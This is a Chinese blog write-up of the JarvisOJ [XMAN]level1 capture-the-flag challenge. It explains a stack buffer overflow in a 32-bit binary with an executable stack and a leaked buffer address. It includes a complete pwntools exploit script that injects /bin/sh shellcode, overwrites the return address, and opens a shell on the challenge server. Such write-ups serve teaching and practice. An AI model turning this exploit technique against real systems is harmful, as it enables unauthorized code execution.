XMAN level1 の Write-Up

Introduction

这是JarvisOJ的PWN题部分[XMAN]level1的Write-Up,比较简单。关键点在于当程序中没有现成的shellcode时,如何建立自己的shellcode并在buffer上布局。

Step 1

程序运行如下图所示,可见会显示一个奇怪的地址:

还是一样的套路,checksec:32位程序,没有什么特殊的保护措施,并且栈上存在可读可写可执行的部分:

Step 2

将程序拖到hopper disassembler中,熟悉的vulnerable_function函数:

main函数

vulnerable_function函数

通过vulnerable_function函数的伪C代码可以明白之前出现的那个奇怪的地址其实是泄露的buf地址,那么我们就应该有思路了:

首先左边是正常情况下栈中的布局情况,我们已知的是buf的起始地址。那么我们要做的是将ret的返回地址覆盖为buf的起始地址,这样我们就可以在buf中布局我们的shellcode。

右边是理想情况下我们布局后的栈中情况。

Step 2

找到思路,下面就是EXP的编写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# coding:utf-8
from pwn import *

sh = remote('pwn2.jarvisoj.com', 9877)

# sh = process('./level1')
# elf = ELF('./level1')

# 获取buf地址
buf = sh.recvline()[14:22]
# 将16进制地址字符串转换成十进制的地址
buf_addr = int(buf, 16)

# 生成shellcode
shellcode = asm(shellcraft.i386.linux.sh())

payload = shellcode + "A" * (0x88 + 0x4 -len(shellcode)) + p32(buf_addr)

sh.send(payload)
sh.interactive()
sh.close()

执行后就可以拿到shell啦:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/05/07/XMAN-level1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog